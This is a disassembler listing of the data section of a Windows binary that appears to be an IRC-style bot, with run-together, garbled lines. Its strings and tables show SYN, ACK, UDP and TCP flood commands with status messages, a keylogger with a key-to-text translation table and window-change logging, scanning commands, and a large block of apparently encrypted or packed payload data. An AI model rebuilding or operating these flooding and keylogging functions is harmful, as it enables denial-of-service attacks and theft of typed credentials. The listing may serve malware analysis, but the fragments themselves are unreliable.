off_41DD88	dd offset off_432298	; DATA XREF: .nsp0:0041DDA0o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_41DD88
		dd offset off_41DCE8
		dd offset off_41DCD0
dword_41DDAC	dd 3 dup(0)			dd 3, 41DDA0h
dword_41DDC0	dd 3 dup(0)			dd offset off_432298
		dd offset dword_41DDAC+4
		dd offset off_41DCD0
dword_41DDD8	dd 4 dup(0)			dd 1, 41DDD4h
dword_41DDF0	dd 3 dup(0)			dd offset off_432240
		dd offset dword_41DDD8+8
		align 8
off_41DE08	dd offset off_4322B8	; DATA XREF: .nsp0:0041DE20o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_41DE08
		dd 0
		db    0			; DATA XREF: .nsp0:0041DE48o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 41DE20h
dword_41DE38	dd 3 dup(0)			dd offset off_4322B8
		dd offset unk_41DE28
		align 10h
dword_41DE50	dd 19930520h, 2, 41DE70h, 5 dup(0)		dd 0FFFFFFFFh, 41CB1Ch,	0
		dd offset sub_41CB14
dword_41DE80	dd 19930520h, 2, 41DEA0h, 5 dup(0)		dd 0FFFFFFFFh, 41CB40h,	0
; ---------------------------------------------------------------------------
		dec	eax
		retf
; ---------------------------------------------------------------------------
		dw 41h
dword_41DEB0	dd 19930520h, 2, 41DED0h, 1, 41DEE0h, 3	dup(0)
					; DATA XREF: .nsp0:loc_41CB5Co
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 41DEF8h, 4	dup(0)
		dd offset loc_4037E1
		dd 0
		dd offset off_432240
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	41CA3Bh, 2 dup(0)
		dd offset off_432258
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	41C7C1h, 2 dup(0)
		dd offset off_432278
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	41C894h, 0
dword_41DF68	dd 3, 41DF48h, 41DF28h,	41DF08hdword_41DF78	dd 0							; sub_41C85B+12o
		dd offset sub_41C81E
		dd 0
		dd offset dword_41DF68
dword_41DF88	dd 19930520h, 1, 41DFA8h, 5 dup(0)		dd 0FFFFFFFFh, 41CB68h
dword_41DFB0	dd 19930520h, 1, 41DFD0h, 5 dup(0)dword_41DFD0	dd 0FFFFFFFFh, 41CB7Ch,	2, 41DF28h, 41DF08h, 0dword_41DFE8	dd 0				dd offset sub_41C768
		dd 0
		dd offset dword_41DFD0+8
dword_41DFF8	dd 19930520h, 1, 41E018h, 5 dup(0)		dd 0FFFFFFFFh, 41CB90h
dword_41E020	dd 19930520h, 1, 41E040h, 5 dup(0)		dd 0FFFFFFFFh, 41CBA4h
dword_41E048	dd 19930520h, 1, 41E068h, 5 dup(0)		dd 0FFFFFFFFh, 41CBB8h,	0
		dd offset off_432298
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	41C97Ch, 0
dword_41E090	dd 3, 41E070h, 41DF28h,	41DF08hdword_41E0A0	dd 0							; sub_41C943+12o
		dd offset sub_41C906
		dd 0
		dd offset dword_41E090
dword_41E0B0	dd 19930520h, 1, 41E0D0h, 5 dup(0)		dd 0FFFFFFFFh, 41CBCCh
dword_41E0D8	dd 19930520h, 1, 41E0F8h, 5 dup(0)		dd 0FFFFFFFFh, 41CBE0h,	1E2E4h,	2 dup(0)
		dd 1E328h, 1D1A8h, 1E13Ch, 2 dup(0)
		dd 1EAA0h, 1D000h, 5 dup(0)
		dd 548FF43Eh, 0FEAB4E08h, 66EDBF77h, 0EE6033Ah,	951B87B7h
		dd 6D917141h, 5135E09Bh, 2E430679h, 0ACC2095Ch,	592E00C8h
		dd 5E0FC609h, 0D3373CFAh, 4356C22Ah, 0F9191Dh, 8E2F0470h
		dd 0D620773Eh, 0F5F78BAh, 0A73C0CF8h, 0CCEAB145h, 0D2D05C38h
		dd 0E5339085h, 7B0303C6h, 0C12DF8DCh, 5B7131F9h, 82162AF3h
		dd 95E816E7h, 7123CA3Fh, 0F716399Eh, 5115708Dh,	299F7840h
		dd 7345509Ah, 0E8E148ABh, 0EB3318E8h, 5CADC41Bh, 0C19038C2h
		dd 52E0DC9Eh, 176D9ABCh, 0BDC63D29h, 5F00806Eh,	0FD9A8FE3h
		dd 67BFA40Eh, 3D7DCDFCh, 5FAB5E27h, 8DF641F0h, 77988F77h
		dd 0BB723190h, 0D9A6849Ah, 0BC50F8CCh, 0D92EC35Eh, 4223065Ch
		dd 93F13B3Bh, 3B98FAF7h, 0B1AFC769h, 3EBD5086h,	49F3323Fh
		dd 50CCDFF6h, 0D193EE69h, 2481A8B0h, 9061103Eh,	88789E96h
		dd 0D8D01743h, 0CBAC2680h, 4505F512h, 837FE471h, 0E28F9051h
		dd 16D301A8h, 0B5CCB85Bh, 28C59E04h, 90687CFh, 0B75D27EFh
		dd 0BA99DA8Dh, 0EE8E1DC5h, 0F8F484E0h, 42490003h, 0C6D22EF2h
		dd 0C669E758h, 80E5D10Fh, 0FC59189Ah, 4509C24Dh, 0A2A6DC6Ah
		dd 4395210Eh, 507079h, 6DDB8FEBh, 664B6F7Eh, 726FACBEh
		dd 0D966B751h, 47D593FEh, 88CD2998h, 91F1F9A0h,	477F4551h
		dd 5B53AE71h, 224F5809h, 0D98DC338h, 1194094h, 94A84ADh
		dd 98216963h, 643A7726h, 0DC05EAA2h, 0EA444DACh, 0E5D405EDh
		dd 1E93B8EAh, 94A03Ch, 0C102CCC9h, 10E1386h, 8703972h
		dd 0
		dd 4D8B2E54h, 874C6Ch, 0BF1D92D9h, 4560BB50h, 0D539110Eh
		dd 0BFEB983Fh, 87F7F17Dh, 3967E6AAh, 7DDAE692h,	48EAFD0Fh
		dd 5DB00897h, 0F98A227Dh, 56769B40h, 0D386F6AFh, 0C58ABCDh
		dd 1A91C0AFh, 0
		dd 0BE38ABFBh, 245398E6h, 0F580h, 1157007Eh, 0C4B14651h
		dd 1BA3CF32h, 16D0000h,	0A8B9A277h, 271279C7h, 0F08680CFh
		dd 2060000h, 15D601BFh,	0A0C57F66h, 2A81BD3Dh, 0D92620C3h
		dd 876298AEh, 0BED5FCh,	2B0B0207h, 0C2B5767Fh, 0AC0F9400h
		dd 52ABECEDh, 0FAE4h, 7DBD7F8h,	0BD7613h, 375C0159h, 0B467ADF9h
		dd 9DB78E4Fh, 7B2A2D17h, 4A002FC1h, 11B00B2h, 0ADC06E39h
		dd 0EA166F1Fh, 6F89A416h, 2960000h, 493B231Fh, 1240051h
		dd 0BA6FF927h, 66E70FB5h, 0DC422EBCh, 934080BCh, 921Eh
		dd 0B8D0016Eh, 841FD8F1h, 0BEECA219h, 7EA519B3h, 0FB0000h
		dd 5217778Ch, 595DD7B5h, 0DFE357C1h, 0F26Ah, 9FE8011Ah
		dd 32597950h, 8EA9689h,	0F6EDh,	0CCCA004Ah, 822DABFAh
		dd 0E52F6196h, 53EDh, 31A2001Bh, 27B8EE8Dh, 64AA57Ch, 11200B8h
		dd 361AD1B0h, 49FA8283h, 728D5Fh, 0A3640034h, 0C27CD43Bh
		dd 462B9FB3h, 10D0068h,	6027F4ADh, 0BDE1821h, 0FE0BFC44h
		dd 88BC7C6Ch, 76A7h, 35BB0090h,	7C30C637h, 0EE125Bh, 862C008Ah
		dd 4412BCA6h, 0E7169C5Ah, 0BA916A0Dh, 7CA47CEh,	0C653h
		dd 0E4C20089h, 2FECFD4Bh, 0D1CC74F8h, 6DEF8BD2h, 2712BCDFh
		dd 0AE13D4FEh, 9D00E7h,	741708ABh, 0BFE11482h, 7CDCC1B9h
		dd 940027h, 0CFA83CC9h,	8E2F521Dh, 9C7DCD1h, 9D17h, 0A4E70218h
		dd 81716668h, 0F65Fh, 73F2026Ah, 6D09756Bh, 0E6DF630Dh
		dd 55D6867Fh, 1C10000h,	8F1CAFE4h, 0AD457018h, 395B7DBFh
		dd 698AC4B2h, 7C873897h, 660000h, 474C722Eh, 827B546Fh
		dd 9C6E67CBh, 0BF1D272Ch, 100B5FE3h, 1AB0000h, 0FDAE8E4Dh
		dd 481F5742h, 0F9654ACCh, 685FE128h, 0ABDD7AD2h, 0FAFBF912h
		dd 0AD96BD13h, 92D2B385h, 6ADEEFA7h, 55002Ah, 693C3E23h
		dd 2164386Ah, 47458171h, 0AF971B80h, 157FCCA7h,	1C2004Bh
		dd 10AB5886h, 4CBB476Ah, 0C2CA14BDh, 13E0000h, 0E92B3DF5h
		dd 5B894E31h, 608E90D4h, 0D7B5h, 129C0126h, 0E49AFB69h
		dd 3E784ACCh, 7792BE36h, 24DAh,	0B59700AFh, 3321D11Bh
		dd 0A4F6DC45h, 0F0763599h, 1930000h, 24B4171Fh,	29C141Bh
		dd 6F6EF2A3h, 18C0000h,	0A5E564FEh, 56D0E9DFh, 0FAAFh
		dd 0B2F02B0h, 0D21CBF13h, 0B2EAD067h, 65F2B1FBh, 1D60041h
		dd 15274B1h, 0DED65781h, 0B3196696h, 3500F3h, 0EDBED479h
		dd 4AE7AA58h, 299D9DDBh, 77C42648h, 0D01Ah, 4A83026Ch
		dd 7FAB8B3Eh, 33880C57h, 11400B5h, 5C896F23h, 0CB80D0Ah
		dd 0DCE53Eh, 4120044h, 1F5F4865h, 2FA7EB3h, 4C6E83A4h
		dd 800000h, 0A800E3C6h,	0BF8387E3h, 0DB01705Dh,	0F5F4EBCDh
		dd 0E5D0B770h, 0A158448h, 2680044h, 86B297F3h, 0C3C1F857h
		dd 0EFD653CCh, 556DA962h, 0D1D9h, 0CDE802DFh, 4A145711h
		dd 9C03DDh, 74AD0165h, 99A7CB47h, 9385BF64h, 0D7F7h, 0BAF3010Bh
		dd 0CA45993h, 7224CE64h, 6D9BF5F8h, 0F01D3D27h,	1F90000h
		dd 0BEE4CF0Bh, 0E2A903BCh, 0AA857EEBh, 6300BCh,	4FD0A5DAh
		dd 721E740Dh, 4FA72498h, 44572Fh, 0E4D000F7h, 0B05F7B1Ah
		dd 0C09FC572h, 123FA4E3h, 0C716D5h, 0BF520043h,	0D8E346FDh
		dd 969C7907h, 1750000h,	0B23A7BECh, 0D44652C0h,	60EF8B2Ch
		dd 18D00BEh, 0D92B580Fh, 0F337CD95h, 5E355AB1h,	5DB0274Dh
		dd 0D42Ah, 9DC2007Dh, 0B55487EBh, 0BEDFA24Ch, 570006h
		dd 0BC23AC5Ah, 4276D9BFh, 0CC78F1h, 74CF01EFh, 216D8002h
		dd 3CA03A3Ah, 0F800CDh,	6153A2D7h, 0C601087Fh, 0CE804F51h
		dd 20411EE3h, 48A8CFh, 0E1AC0028h, 0BE54F83Bh, 7A3F60h
		dd 9E3902CEh, 36B210E9h, 3E8F132Fh, 5642A7Fh, 752B001Ch
		dd 3F008Eh, 0F14D357h, 0C89A8078h, 6A3A84E9h, 29F0000h
		dd 11073CF0h, 0CEE237E7h, 0B57E72Eh, 0FBED19h, 99BE01DDh
		dd 67D9B2Ah, 141AC5h, 0FDC902D2h, 223F16B1h, 0B8C1AC20h
		dd 313C9A9h, 0B9832769h, 1E400ADh, 8517868h, 3B039AD2h
		dd 9762CDBAh, 0C785B55Ch, 7E5E0h, 0DC5E00CEh, 260C0482h
		dd 0D5787F30h, 74468C2Bh, 738Ch, 2323029Eh, 10F8DF0Fh
		dd 8CED1BCEh, 0A1B1FD89h, 0C12Ah, 988A011Ch, 576FCABh
		dd 0AFFBEDD4h, 491F4A4Fh, 1200000h, 0A700133h, 0D51DECC8h
		dd 4CE84688h, 0BC6AF930h, 1990000h, 0A5DBBD22h,	9B42239Ch
		dd 19F0060h, 0EE555CB4h, 4BC3D8FCh, 22F0000h, 39D10828h
		dd 6A3BCDCh, 17000BCh, 0A07488AFh, 47C7112Eh, 9302AB2Eh
		dd 5B7EA64Fh, 5E7316C6h, 7888h,	8E7015Dh, 15D06FD1h, 82FC10B8h
		dd 191A59h, 0A75F01A2h,	0BE846901h, 57809A9Bh, 1500088h
		dd 0C19B40AEh, 377D9018h, 2B233FBEh, 0FD2F8Fh, 2A5A00CAh
		dd 0E003F086h, 0DD192014h, 68712576h, 174003Ch,	6B640B55h
		dd 1DE628Eh, 6A3Fh, 6FD5019Dh, 57762ACAh, 0F2FD8285h, 19B00A8h
		dd 0BD9D2A86h, 0A1EC6h,	0ED6Dh,	0F3F502BFh, 60C5309Bh
		dd 0A028DCD6h, 2BB0000h, 8315E102h, 0FABF9B76h,	0C9E87792h
		dd 1B80000h, 639BCAD0h,	0A03DE3F1h, 66F26A92h, 20B002Fh
		dd 93B93EBEh, 10648473h, 35EA0273h, 0A36Ch, 9C8A01A3h
		dd 52393923h, 6739h, 2D6A01BFh,	37054138h, 5811F6D2h, 94FEh
		dd 817801C0h, 0E04AA24Eh, 0DEF465D7h, 63EBh, 0BCF200BFh
		dd 0B169CC55h, 0DA7370h, 0DA5800B9h, 103181EBh,	1310000h
		dd 52D804E8h, 973BBF7Dh, 2AD0000h, 0D8043088h, 0D7ACDA47h
		dd 23E30FE1h, 0D77DBAEh, 7434B175h, 5054EC88h, 0B20000h
		dd 0BC4A4D85h, 0E4DEA26Bh, 80E824CBh, 0D30C3740h, 9098DD2Ah
		dd 0CA6D73h, 0E55B00B3h, 0EFC3D786h, 91EB57AFh,	253B0F62h
		dd 0B8E7DFD1h, 69CF15DEh, 10600F1h, 0CC1081D7h,	12797906h
		dd 51AC2943h, 0D822CFF1h, 3DFC7E2Bh, 10800F4h, 9BE0FCDh
		dd 8D843E46h, 0ED2A255Eh, 92B6C7CFh, 4264350Ah,	7DA0h
		dd 938A026Dh, 678898E9h, 0A42708A9h, 2792F027h,	1520000h
		dd 4CB35F50h, 0FC0EF93Bh, 0ADE5F457h, 1150000h,	7BCA7382h
		dd 477030EBh, 13C3E6h, 66720153h, 39A832BEh, 83B96249h
		dd 0CD363376h, 1560000h, 0A2F95893h, 4B407554h,	5FCE06DFh
		dd 0F331h, 2127027Ch, 56FC4616h, 82073889h, 4C67h, 830100AAh
		dd 29A13015h, 381271FBh, 0B2B34800h, 0F682h, 0D44A028Bh
		dd 158000EDh, 70B960A8h, 24372DF4h, 71F5A8C1h, 0DA29FC8Dh
		dd 0D993AF2Fh, 1B50025h, 15834BF6h, 0B4AB1BF8h,	0EE4C1CECh
		dd 1B20000h, 0EA05BBF0h, 2CE0070Eh, 0D8F2F75h, 2610000h
		dd 870AAA74h, 0E1CC575h, 736AE8BBh, 210000h, 73510F1Ah
		dd 0A32F452Ah, 89F83F8Fh, 99D0h, 9EBF0022h, 0EA2BC0D9h
		dd 0FA31C3D0h, 0B4A953DAh, 2620000h, 0E0D96481h, 0C798A6D3h
		dd 5581A8CCh, 657B7EF7h, 5613B62Ah, 0AF716h, 0EDE1811Dh
		dd 0C5BB72B9h, 0A7C4A934h, 155h	dup(0)
dword_41F000	dd 0				dd offset sub_40388F
		dd offset sub_41C994
dword_41F00C	dd 0		dword_41F010	dd 0				dd offset sub_413222
		dd offset sub_418C54
		dd offset sub_4199A3
		dd offset sub_41A815
dword_41F024	dd 0		dword_41F028	dd 0				dd offset sub_419A48
dword_41F030	dd 0		dword_41F034	dd 0				dd offset sub_41A826
dword_41F03C	dd 0		unk_41F040	db    2			; DATA XREF: sub_401000+5Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithFloodI	db '  Done with flood (%iKB/sec).',0
		align 4
unk_41F07C	db    2			; DATA XREF: .nsp0:004013B4o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendErrorD_	db '  Send error: <%d>.',0
		align 10h
aDdos_random	db 'ddos.random',0      ; DATA XREF: .nsp0:loc_4011DEo
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: .nsp0:loc_4011C2o
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: .nsp0:004011A3o
		align 4
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aDoneWithSFlood	db 'Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%dMB'
		db ').',0
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorSendingPa	db 'Error sending packets to IP: %s. Packets sent: %d. Returned: <%d>'
		db '.',0
		align 4
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aInvalidTargetI	db 'Invalid target IP.',0
		align 10h
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorSetsockop	db 'Error: setsockopt() failed, returned: <%d>.',0
unk_41F21C	db    2			; DATA XREF: .nsp0:00401490o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorSocketFai	db 'Error: socket() failed, returned: <%d>.',0
dword_41F264	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: sub_40182E+48o
		dd 2029206Ch, 2BBBB02h
aDoneWithFloo_0	db '  Done with flood (%iKB/sec).',0
		align 10h
dword_41F2A0	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: .nsp0:00401B47o
		dd 2029206Ch, 2BBBB02h
aSendErrorD__0	db '  Send error: <%d>.',0
		dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
		dd 2029206Ch, 2BBBB02h
aDoneWithSFlo_0	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
		dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
		dd 2029206Ch, 2BBBB02h
aErrorSending_0	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
aRandom		db 'random',0           ; DATA XREF: .nsp0:0040CA4Ao
					; .nsp0:00427064o
		align 10h
aAck		db 'ack',0              ; DATA XREF: .nsp0:0040CA33o
aSyn		db 'syn',0              ; DATA XREF: .nsp0:0040CA1Bo
		dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
		dd 2029206Ch, 2BBBB02h
aInvalidTarge_0	db '  Invalid target IP.',0
		align 4
dword_41F3DC	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: .nsp0:00401CC4o
		dd 2029206Ch, 2BBBB02h
aErrorSetsock_0	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 4
dword_41F428	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: .nsp0:00401C46o
		dd 2029206Ch, 2BBBB02h
aErrorSocketF_0	db '  Error: socket() failed, returned: <%d>.',0
		align 10h
		dw 8
		unicode	0, <>,0
aB:					; DATA XREF: sub_4021FB:loc_4022DEo
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h
dword_41FBA4	dd 38h,	38000000h, 2 dup(0)		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_41FBDC	dd 28026502h, 62302E31h, 20282029h, 6C79656Bh, 6D2E676Fh
					; DATA XREF: sub_40211A+AEo
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 732520h
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_40211A+88o
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_40211A+4Eo
					; .nsp0:0040C8F9o
		align 10h
asc_41FC20:				; DATA XREF: sub_40211A+2Co
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0 ; DATA XREF: sub_4021FB+228o
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4021FB+1E5o
		align 10h
aSChangedWindow	db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4021FB+8Fo
		align 10h
off_41FC70	dd offset dword_420440	; DATA XREF: .nsp0:0040277Ar
		align 8
		dd 6F64643Ah, 73h, 3 dup(0)
dword_41FC8C	dd 0				dd 6163733Ah, 6F74736Eh, 70h, 3	dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 6F64643Ah, 79732E73h, 6Eh, 3	dup(0)
		dd 6E79733Ah, 6F6F6C66h, 64h, 3	dup(0)
		dd 64752E3Ah, 70h, 4 dup(0)
		dd 64752C3Ah, 70h, 4 dup(0)
		dd 6475213Ah, 70h, 4 dup(0)
		dd 6475403Ah, 70h, 4 dup(0)
		dd 6475243Ah, 70h, 4 dup(0)
		dd 6475253Ah, 70h, 4 dup(0)
		dd 64755E3Ah, 70h, 4 dup(0)
		dd 6475263Ah, 70h, 4 dup(0)
		dd 64752A3Ah, 70h, 4 dup(0)
		dd 64752D3Ah, 70h, 4 dup(0)
		dd 64752B3Ah, 70h, 4 dup(0)
		dd 64752F3Ah, 70h, 4 dup(0)
		dd 64755C3Ah, 70h, 4 dup(0)
		dd 64753D3Ah, 70h, 4 dup(0)
		dd 64753F3Ah, 70h, 4 dup(0)
		dd 6475273Ah, 70h, 4 dup(0)
		dd 6475603Ah, 70h, 4 dup(0)
		dd 64757E3Ah, 70h, 4 dup(0)
		dd 7064753Ah, 6F6F6C66h, 64h, 3	dup(0)
		dd 7063743Ah, 6F6F6C66h, 64h, 3	dup(0)
		dd 7664613Ah, 6E616373h, 4 dup(0)
		dd 73612E3Ah, 63h, 4 dup(0)
		dd 73612C3Ah, 63h, 4 dup(0)
		dd 7361213Ah, 63h, 4 dup(0)
		dd 7361403Ah, 63h, 4 dup(0)
		dd 7361243Ah, 63h, 4 dup(0)
		dd 7361253Ah, 63h, 4 dup(0)
		dd 73615E3Ah, 63h, 4 dup(0)
		dd 7361263Ah, 63h, 4 dup(0)
		dd 73612A3Ah, 63h, 4 dup(0)
		dd 73612D3Ah, 63h, 4 dup(0)
		dd 73612B3Ah, 63h, 4 dup(0)
		dd 73612F3Ah, 63h, 4 dup(0)
		dd 73615C3Ah, 63h, 4 dup(0)
		dd 73613D3Ah, 63h, 4 dup(0)
